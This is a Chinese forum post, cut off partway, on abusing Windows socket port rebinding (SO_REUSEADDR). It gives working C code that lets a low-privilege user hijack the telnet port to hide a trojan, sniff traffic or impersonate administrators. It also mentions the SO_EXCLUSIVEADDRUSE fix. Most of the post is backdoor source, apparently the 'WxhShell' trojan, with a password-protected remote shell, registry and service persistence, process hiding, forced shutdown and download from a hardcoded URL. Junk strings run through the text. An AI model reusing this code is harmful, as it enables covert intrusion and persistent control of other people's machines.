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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %Kd&A*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -o\$.Q3  
e*_8B2da  
  saddr.sin_family = AF_INET; %+oWW5q7  
dsP|j (y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |K?fVL  
`j*&F8}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ko6 tp9G  
iMRb` \KH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fq/F| c  
Bb[%?~ E!  
  这意味着什么?意味着可以进行如下的攻击: pq[RH-{  
BQVpp,]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Mw!?2G[|  
[ P\3XSR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Eq zS={Olj  
J{' u  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5VIpA  
|D)NP N&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9 v)p0  
ul~>eZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 PT4Xr=z =  
lJ@2N$w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L%`~`3%n-  
jI@0jxF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -e#YWMo(  
B e+'&+  
  #include {\22C `9t  
  #include B]dHMLzl  
  #include a9z|ef  
  #include    "UVqkw,vt  
  DWORD WINAPI ClientThread(LPVOID lpParam);   DUf=\p6`f  
  int main() m`C(y$8fU  
  { V x1C4  
  WORD wVersionRequested; j &)Xi^^  
  DWORD ret; :P`sK&b_  
  WSADATA wsaData; RC Fb&,51  
  BOOL val; GL&ri!,  
  SOCKADDR_IN saddr; f9H;e(D9]  
  SOCKADDR_IN scaddr; !\Jj}iX3_  
  int err; 8}Rwf?B  
  SOCKET s; fI} Z`*  
  SOCKET sc; N8(xz-6  
  int caddsize; E :*!an  
  HANDLE mt; `+$'bNPn&  
  DWORD tid;   LFy5tX#  
  wVersionRequested = MAKEWORD( 2, 2 ); (8o~ XL  
  err = WSAStartup( wVersionRequested, &wsaData ); B1m@  
  if ( err != 0 ) { \~:Kp Kq  
  printf("error!WSAStartup failed!\n"); 3:jKuOX  
  return -1; A<^IG+Q,B7  
  } / 3:R{9S%  
  saddr.sin_family = AF_INET; x<60=f[O2R  
   r/=v;4.W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !q~s-~d^  
W"4E0!r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {EbR =  
  saddr.sin_port = htons(23); STu!v5XY}-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g[Ah> 5  
  { ;[WW,,!Y  
  printf("error!socket failed!\n"); %@q52ZQ  
  return -1; tu6oa[s  
  } RL |.y~  
  val = TRUE; @uz&]~+`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yCkfAx8 ]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) '-3AWBWI1  
  { !>b>"\b  
  printf("error!setsockopt failed!\n"); i`7{q~d=  
  return -1; iaXNf ])?  
  } P{5p'g ,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t,= ta{ a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  Z_F:H@-&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .:Bjs*  
wxpD{P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6~?7CK  
  { /S1EQ%_  
  ret=GetLastError(); r<V]MwO=  
  printf("error!bind failed!\n"); > C{^{?~u  
  return -1; mbv\Gn#>  
  } ,@%1q)S?A  
  listen(s,2); Ei Wy`H;  
  while(1) @/H1}pM~  
  { sR,]eo<p&  
  caddsize = sizeof(scaddr); 0z/tceW'F  
  //接受连接请求 B1c`(mHl  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ??12 J#  
  if(sc!=INVALID_SOCKET) ~\4l*$3(^  
  { ('Wo#3b$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )u]J`.OA  
  if(mt==NULL) 4>>{}c!nf  
  { '|&}rLr:+  
  printf("Thread Creat Failed!\n"); K+Q81<X~  
  break; UBqA[9  
  } hLGUkG?6G  
  } ]B=B@UO@.  
  CloseHandle(mt); <(`dU&&%"}  
  }  Fwyv>U  
  closesocket(s); ^Tc&?\3  
  WSACleanup(); K CJ zE>  
  return 0; 1qbd6D|t  
  }   Gnp,~F"  
  DWORD WINAPI ClientThread(LPVOID lpParam) *XS@Ku  
  { _IOeO  
  SOCKET ss = (SOCKET)lpParam; ^ $Q',  
  SOCKET sc; <F+S}!q  
  unsigned char buf[4096]; }M?GqA=  
  SOCKADDR_IN saddr; sY7:Lzs.,  
  long num; 2,puu2F  
  DWORD val; Z!G_" 3  
  DWORD ret; r J ?Y~Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^i_mGeu  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?;> s<  
  saddr.sin_family = AF_INET; rtv\Pf|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iq,qf)BY.|  
  saddr.sin_port = htons(23); {=IK(H  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >`n0{:.1za  
  { ##Z:/SU  
  printf("error!socket failed!\n"); R"e~0WO  
  return -1; SEXeK2v  
  } a1 M-F3  
  val = 100; [Av87!kJ!X  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !vfjo[v  
  { ySP1WK  
  ret = GetLastError(); uljd)kLy4O  
  return -1; Gv>,Ad ka  
  } Sd' uXX@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8U0y86q>)E  
  { d]VL( &  
  ret = GetLastError(); \hQ[5>  
  return -1; cZ \#074u/  
  } dMw7Lp&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ` B) ~  
  { XD{U5.z>y  
  printf("error!socket connect failed!\n"); 1""9+4  
  closesocket(sc); !tCw)cou  
  closesocket(ss); 6xr$  
  return -1; %/~6Qq  
  } Z}f$ KWj  
  while(1) X/lLM`  
  { i96Pel  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xU@YBzbk  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 tS#EqMf&o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LkMhS0?(T  
  num = recv(ss,buf,4096,0); gsI"G  
  if(num>0)  }XaO~]  
  send(sc,buf,num,0); 1d7oR`qr  
  else if(num==0) + htTrHjt  
  break; c 6}d{B[  
  num = recv(sc,buf,4096,0); G5ebb6[+  
  if(num>0) b=:AFs{  
  send(ss,buf,num,0); N/DcaHFYo  
  else if(num==0) qW6a|s0}  
  break; 9@./=5N~3  
  } HC*=E.J  
  closesocket(ss); Kpz>si?CL  
  closesocket(sc); ) I 4d_]&  
  return 0 ; Bt[`p\p@  
  } z!)_'A  
SW UHHl  
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========================================================== &fdH HN  
m;WUp{'  
下边附上一个代码,,WXhSHELL  "@Bc eD  
Xlw&hKS  
========================================================== ,G e7 9(  
cn v4!c0  
#include "stdafx.h" gH Q[D|zu  
djS?$WBpU  
#include <stdio.h> b(_PCVC  
#include <string.h> 699z@>$}  
#include <windows.h> Z8(1QU,~2  
#include <winsock2.h> = PcmJG]  
#include <winsvc.h> "BK'<j^q  
#include <urlmon.h> Q mOG2  
t]P[>{y  
#pragma comment (lib, "Ws2_32.lib") ct3QtX0B  
#pragma comment (lib, "urlmon.lib") 6%JKY+n^  
Jn +[:s.  
#define MAX_USER   100 // 最大客户端连接数  8;4vr@EV  
#define BUF_SOCK   200 // sock buffer nj!)\U  
#define KEY_BUFF   255 // 输入 buffer DOaEz?2)  
Vs]+MAL  
#define REBOOT     0   // 重启 $/}*HWVZ  
#define SHUTDOWN   1   // 关机 lzBy;i  
Ht5 %fcD  
#define DEF_PORT   5000 // 监听端口 Qpndi$2H!  
j.uN`cU!  
#define REG_LEN     16   // 注册表键长度 |0U"#xkf  
#define SVC_LEN     80   // NT服务名长度 $B7<1{<=W  
e7t).s)b{  
// 从dll定义API +[UFf3(ON  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wA+J49  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @4B+<,i   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VW<s_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !X(Lvt/  
;/N[tO?Q  
// wxhshell配置信息 <t,uj.9_  
struct WSCFG { J|sX{/WT  
  int ws_port;         // 监听端口 2*vOo^f  
  char ws_passstr[REG_LEN]; // 口令 VjtI1I  
  int ws_autoins;       // 安装标记, 1=yes 0=no }IC$Du#  
  char ws_regname[REG_LEN]; // 注册表键名 r[vMiVb  
  char ws_svcname[REG_LEN]; // 服务名 X, <&#l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W=j/2c/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @X>k@M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^b~&}uU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Kf76./  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LZMdW #,[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3%/]y=rA  
.6 !IO^`[  
}; &0K; Vr~D  
<&n3"  
// default Wxhshell configuration U u(ysN4`  
struct WSCFG wscfg={DEF_PORT, K$\az%NE  
    "xuhuanlingzhe", LG [ 2u  
    1, ;9q3FuR  
    "Wxhshell", YPDc /  
    "Wxhshell", ?1xBhKq  
            "WxhShell Service", 3P6pQm'.f  
    "Wrsky Windows CmdShell Service", F 71  
    "Please Input Your Password: ", +uM1#-+h  
  1, ge`)sB,  
  "http://www.wrsky.com/wxhshell.exe", 9bPQD{Qb  
  "Wxhshell.exe" Fm3-Sn|Po  
    }; 3I^KJ/)A  
brb8C%j}9  
// 消息定义模块 jZ7/p^c5R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V`TXn[7  
char *msg_ws_prompt="\n\r? for help\n\r#>";  @es}bKP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /"- k ;jz  
char *msg_ws_ext="\n\rExit."; vz) A~"E  
char *msg_ws_end="\n\rQuit."; = PqQJE}  
char *msg_ws_boot="\n\rReboot..."; gd_w;{WP  
char *msg_ws_poff="\n\rShutdown..."; NZ e3 m  
char *msg_ws_down="\n\rSave to "; ?Mp~^sgp'  
!3DWz6u  
char *msg_ws_err="\n\rErr!"; U; ?%rM6  
char *msg_ws_ok="\n\rOK!"; LbJ tU !  
~q?IG5s*Z  
char ExeFile[MAX_PATH]; 0Tp?ED_  
int nUser = 0; -3/:Dk`3  
HANDLE handles[MAX_USER]; =w?-R\  
int OsIsNt; qRJg/~_h{  
"z69jxXo  
SERVICE_STATUS       serviceStatus; Q`7!~qV0=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '/\@Mc4T  
aP!a?xq  
// 函数声明 A]Zp1XEG  
int Install(void); ndOPD]A'  
int Uninstall(void); U_ V0  
int DownloadFile(char *sURL, SOCKET wsh); 8d-; ;V  
int Boot(int flag); 25l6@7q.  
void HideProc(void); +>.plvZhu  
int GetOsVer(void); fNFdZ[qOd  
int Wxhshell(SOCKET wsl); Z9i,#/  
void TalkWithClient(void *cs); L4zSro:Si  
int CmdShell(SOCKET sock); ldM [8  
int StartFromService(void); Oe'Nn250  
int StartWxhshell(LPSTR lpCmdLine); c#OZ=`  
S&6}9r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .hg<\-:_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H #J"'  
:u'X ~ID[  
// 数据结构和表定义 DGC -`z  
SERVICE_TABLE_ENTRY DispatchTable[] = Eg3rbqM- 8  
{ YZ7rs] A  
{wscfg.ws_svcname, NTServiceMain}, R# 8D}5[&  
{NULL, NULL} e=%7tK*  
}; (gNI6;P;}  
%\}|&z6  
// 自我安装 Vt5%A}.VQ  
int Install(void) j+*VP  
{ q5BJsw  
  char svExeFile[MAX_PATH]; TIW6v4  
  HKEY key; !Wvzum@5D  
  strcpy(svExeFile,ExeFile); =gGK243  
(u]ft]z,-B  
// 如果是win9x系统,修改注册表设为自启动 * <x]gV  
if(!OsIsNt) { )"m FlS<I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { enF.}fo]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z"lL=0rY/  
  RegCloseKey(key); \C ZiU3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B+jT|Y'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ynw^nmM  
  RegCloseKey(key); E,xCfS)  
  return 0; xii*"n~  
    } Q~,E K  
  } L-Xd3RCD  
} Fz?ON1\  
else { Nk3 ]<#$  
Y">Q16(  
// 如果是NT以上系统,安装为系统服务 D ,mFme  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H$Q$3Q!`  
if (schSCManager!=0) Y5-X)f  
{ R=i$*6}a  
  SC_HANDLE schService = CreateService "h7Z(Y  
  ( <s9Sx>Zb  
  schSCManager, W$EX6jTGI  
  wscfg.ws_svcname, K *{C:Y  
  wscfg.ws_svcdisp, 3_fLaf A  
  SERVICE_ALL_ACCESS, cK(}B_D$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *Sz`=U7n  
  SERVICE_AUTO_START, <!y_L5S|   
  SERVICE_ERROR_NORMAL, .W,< ]L '  
  svExeFile, A{>]M@QC2  
  NULL, izY,t!  
  NULL, f4/!iiS}r  
  NULL, }.NR+:0  
  NULL, 18}L89S>  
  NULL bsr  
  ); ppR_y  
  if (schService!=0) r4J4|&ym  
  { #E^%h  
  CloseServiceHandle(schService); pP{b!1  
  CloseServiceHandle(schSCManager); 2a5yJeaIv*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *W(b=u  
  strcat(svExeFile,wscfg.ws_svcname); -3wg9uZ &  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SQvicZAN)`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y3 LWh}~E  
  RegCloseKey(key); 4J!1$   
  return 0; QDBptI:  
    } bTA<AoW9="  
  } aMm`G}9n  
  CloseServiceHandle(schSCManager); 2YuaPq/  
} 2EG"xA5%  
} bkmX@+Pe  
@`%.\_  
return 1; #@2`^1  
} }=?r`J+Ev;  
/J/r62  
// 自我卸载 HZ[&ZNTa  
int Uninstall(void) twf;{lZ(  
{ @*is]d+Ya  
  HKEY key; 8Ral%I:gr  
;f?OT7>kN  
if(!OsIsNt) { d^ipf*aLC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A |NX"  
  RegDeleteValue(key,wscfg.ws_regname); OTN"XKa$  
  RegCloseKey(key); U=Z@Ipu5T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m1\>v?=K  
  RegDeleteValue(key,wscfg.ws_regname); T1n GBl\(  
  RegCloseKey(key); *fSa8CV  
  return 0; }9Y='+.%^  
  } ~`*:E'/5k]  
} DMfC(w.d  
} /Klwh1E  
else { js;IUSj.  
lDMYDy{<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i;6\tK"!  
if (schSCManager!=0) pRMM1&H  
{ =\CbX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +8Peh9"  
  if (schService!=0) 0AR4/5.  
  { 5Tn4iyg;B  
  if(DeleteService(schService)!=0) { !RiPr(m@y  
  CloseServiceHandle(schService); :".!6~:2  
  CloseServiceHandle(schSCManager); tHJ1MDw'  
  return 0; ot_jG)  
  } kZUuRB~om  
  CloseServiceHandle(schService); @VxBURZ?  
  } _'2r=a#`  
  CloseServiceHandle(schSCManager); A<>W^ow  
} o }Tv^>L  
} ~{2@-qcm  
/%)M lG  
return 1; 7:bqh$3!s  
} YH<@->Ip  
IEC:zmkn  
// 从指定url下载文件 eHqf3f   
int DownloadFile(char *sURL, SOCKET wsh) cv#H  
{ JN|<R%hy  
  HRESULT hr; o<V-gS  
char seps[]= "/"; g](m& O  
char *token; '\_ic=&u  
char *file; #GWQ]r?  
char myURL[MAX_PATH]; [POy" O  
char myFILE[MAX_PATH]; KxJJ?WyM  
$?*+P``  
strcpy(myURL,sURL); jLb3{}0  
  token=strtok(myURL,seps); >z[d ~  
  while(token!=NULL) tvFJ^5  
  { T,WWQm  
    file=token; ?W.Y x7c  
  token=strtok(NULL,seps); xl# j_d,  
  } <U1uuOt  
_r^&.'q  
GetCurrentDirectory(MAX_PATH,myFILE); }d6g{`  
strcat(myFILE, "\\"); QL|Vke:N4  
strcat(myFILE, file); w`!Yr:dU  
  send(wsh,myFILE,strlen(myFILE),0); ORfA]I-u  
send(wsh,"...",3,0); Kl+*Sp!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UAcABL^2  
  if(hr==S_OK) 0;k3  
return 0; ZQ~?  
else Or_9KX2  
return 1; foL`{fA  
<JKPtF2b  
} }jIb ^|#CD  
K"g[%O<  
// 系统电源模块 #jDO?Y Sa  
int Boot(int flag) 55,vmDd  
{ aQRZyE}  
  HANDLE hToken; )'fIrBT  
  TOKEN_PRIVILEGES tkp; 4~o\Os+8  
YVs{\1|'  
  if(OsIsNt) {  1XHGW=n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9oGsrC lH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sM?DNE^BvW  
    tkp.PrivilegeCount = 1; 2<.}]yi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F." L{g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $&a`zffG  
if(flag==REBOOT) { D_, 2z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #m8Oy|Y9`  
  return 0; q=[0`--cd  
} #p_ ~L4iW  
else { >!a*wf~]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K0+J!- a]7  
  return 0; kkd<CEz2IM  
} xX|-5cM;  
  } Jwa2Y0  
  else { sq<y2j1oF  
if(flag==REBOOT) { }* BY!5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;{Ovqo|  
  return 0; BF]b\/I  
} DtZkrj)D/  
else { A#8/:t1AW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'etCIl3  
  return 0; xNm<` Y?  
} +'lfW{E1t  
} hwC3['  
$ Q2|{*  
return 1; kM9E)uT>(<  
} &}P62&  
M)|}Vn;!  
// win9x进程隐藏模块 b,{?+8  
void HideProc(void) V qYe0-^=P  
{ cdEZ Y  
4~1_%wb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T?% F  
  if ( hKernel != NULL ) _{ ?1+  
  { cFuvi^n\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6lZhV[~Z/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4!E6|N%f  
    FreeLibrary(hKernel); .|o7YTcR:  
  } dc:|)bK M  
8{h:z 9]J  
return; ]54V9l:  
} -4V1s;QUZ  
Bj\0RmVa1  
// 获取操作系统版本 <k^h&1J#g  
int GetOsVer(void) &&>OhH`  
{ ~j8x"  
  OSVERSIONINFO winfo; ph3[}><6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D5U\~'{L  
  GetVersionEx(&winfo); ogQbST  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4} =]QQoE  
  return 1; dIK!xOStA  
  else RL>[t  
  return 0; Uu3[Cf=C  
} -i 6<kF-W  
WE=`8`Li  
// 客户端句柄模块 RAxA H  
int Wxhshell(SOCKET wsl) +]I7)  
{ Y&+<'FA  
  SOCKET wsh; C' ny 2>uA  
  struct sockaddr_in client; R%b,RH#  
  DWORD myID; Z*`CK^^~  
W\X51DrEx  
  while(nUser<MAX_USER) 9C`Fd S   
{ L$Ss]Ar=  
  int nSize=sizeof(client); +mH Kk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %>pglI  
  if(wsh==INVALID_SOCKET) return 1; UT>\u  
O </<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7@C :4c@0  
if(handles[nUser]==0) e;[/ytz"d'  
  closesocket(wsh); 44b'40  
else 6rPe\'n=B  
  nUser++; /FB'  
  } w~1K93/p!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LN_6>u  
whRc YnJ  
  return 0; |\elM[G"g  
} wUl}x)xo  
9jJ&QACn  
// 关闭 socket DJ=miJI'  
void CloseIt(SOCKET wsh) pn'*w 1i  
{ Y[*z6gP(  
closesocket(wsh); 8Zwq:lV Q  
nUser--; dG6Mo76  
ExitThread(0); Mi:$<fEX  
} [N H[n#  
Ro? 4tGn  
// 客户端请求句柄 Tb~(?nY5  
void TalkWithClient(void *cs) *I>1O*  
{ R]L 7?=  
V,&s$eQC  
  SOCKET wsh=(SOCKET)cs; nh,N (t 9  
  char pwd[SVC_LEN]; QT?fp >'  
  char cmd[KEY_BUFF]; py@5]n%  
char chr[1]; ~ ]o .Mv a  
int i,j; +vJ[k2d  
-l$]>J~  
  while (nUser < MAX_USER) { -pcYhLIn  
!3d +"tL S  
if(wscfg.ws_passstr) { a o\+%s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x|E$ f+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J/ <[irC  
  //ZeroMemory(pwd,KEY_BUFF); orEwP/L:  
      i=0; ?hsOhUs(5  
  while(i<SVC_LEN) {  #*?5  
HJoPk'p%  
  // 设置超时 { \r{$<s  
  fd_set FdRead; ])T*T$u  
  struct timeval TimeOut; "(T@*"vX2  
  FD_ZERO(&FdRead); ;M\H#%G.  
  FD_SET(wsh,&FdRead); WG(tt.  
  TimeOut.tv_sec=8; U%j=)VD ])  
  TimeOut.tv_usec=0; jC<<S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]\*g/QV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~@TNVkw  
k >U&Us0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hza{"I*^  
  pwd=chr[0]; i]xyD'0  
  if(chr[0]==0xd || chr[0]==0xa) { Exk[;lI  
  pwd=0;  t\u0\l>  
  break; ; l+3l ez  
  } %w_h8  
  i++; (g4.bbEm  
    } D.U)R7(  
B9Y "J  
  // 如果是非法用户,关闭 socket Sxf<8Px9i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u;;]S!:M  
} ~Ui<y=d  
g]z,*d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vU&gFEWg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  `q%Z/!}  
4k<4=E  
while(1) { xH e<TwkI  
uRwIxT2  
  ZeroMemory(cmd,KEY_BUFF); o#H"tYP  
EZE/~$`3   
      // 自动支持客户端 telnet标准   ~h  tV*R  
  j=0; H2|&  
  while(j<KEY_BUFF) { t&H):P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h#'(UZ  
  cmd[j]=chr[0]; 1}B W   
  if(chr[0]==0xa || chr[0]==0xd) { mgh,)=2cE(  
  cmd[j]=0; B k#68p  
  break; }(O 7tC  
  } X=mzo\Aos  
  j++; +n9]c~g!T0  
    } bgL`FW i3  
)z$VQ=]"  
  // 下载文件 uFL~^vz  
  if(strstr(cmd,"http://")) { 7*~ rhQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w\8grEj  
  if(DownloadFile(cmd,wsh)) Cf J@|Rh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xG\&QE  
  else ``$At,m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9<}d98  
  } C3hnX2";  
  else { cAV9.VS<L  
2*F["E  
    switch(cmd[0]) { _ B",? }  
  (]vHW+'  
  // 帮助 KP -g<Zc  
  case '?': { 4(|x@: wxm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |:L<Ko  
    break; )pW(Cp  
  } 03iO4yOu  
  // 安装 8'@pX<  
  case 'i': { W2qW`Ujo{  
    if(Install()) -U'6fx) +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L&][730  
    else z?Hvh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _<=U.T`  
    break; b~y1'|}g  
    } w<.{(1:v  
  // 卸载 Ng0V&oDI  
  case 'r': { o[!]xmj  
    if(Uninstall()) H&6lQ30/)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _t 'Kj \  
    else #Kn=Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4\Mh2z5  
    break; ?SkYFa`u*  
    } <RKh%4#~  
  // 显示 wxhshell 所在路径 =YE"6iU  
  case 'p': { blk ~r0.2  
    char svExeFile[MAX_PATH]; :L&-  
    strcpy(svExeFile,"\n\r"); LoPWho[8  
      strcat(svExeFile,ExeFile); 3)Wi? -  
        send(wsh,svExeFile,strlen(svExeFile),0); 7-nwfp&|$  
    break; ,H'O`oV!1E  
    } & 2& K9R  
  // 重启 9<W0'6%{/  
  case 'b': { i:ZpAo+Z{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tE/j3  
    if(Boot(REBOOT)) 'd D d9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~^UQw? ;  
    else { O\q|b#q}/  
    closesocket(wsh); ac p-4g+j  
    ExitThread(0); %19TJn%J$  
    } _6;T /_R=  
    break; "9Sxj  
    } .zAB)rNc |  
  // 关机 EXK~Zf|&Z  
  case 'd': { L ![bf5T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X48Q{E+  
    if(Boot(SHUTDOWN)) A?06fo,  
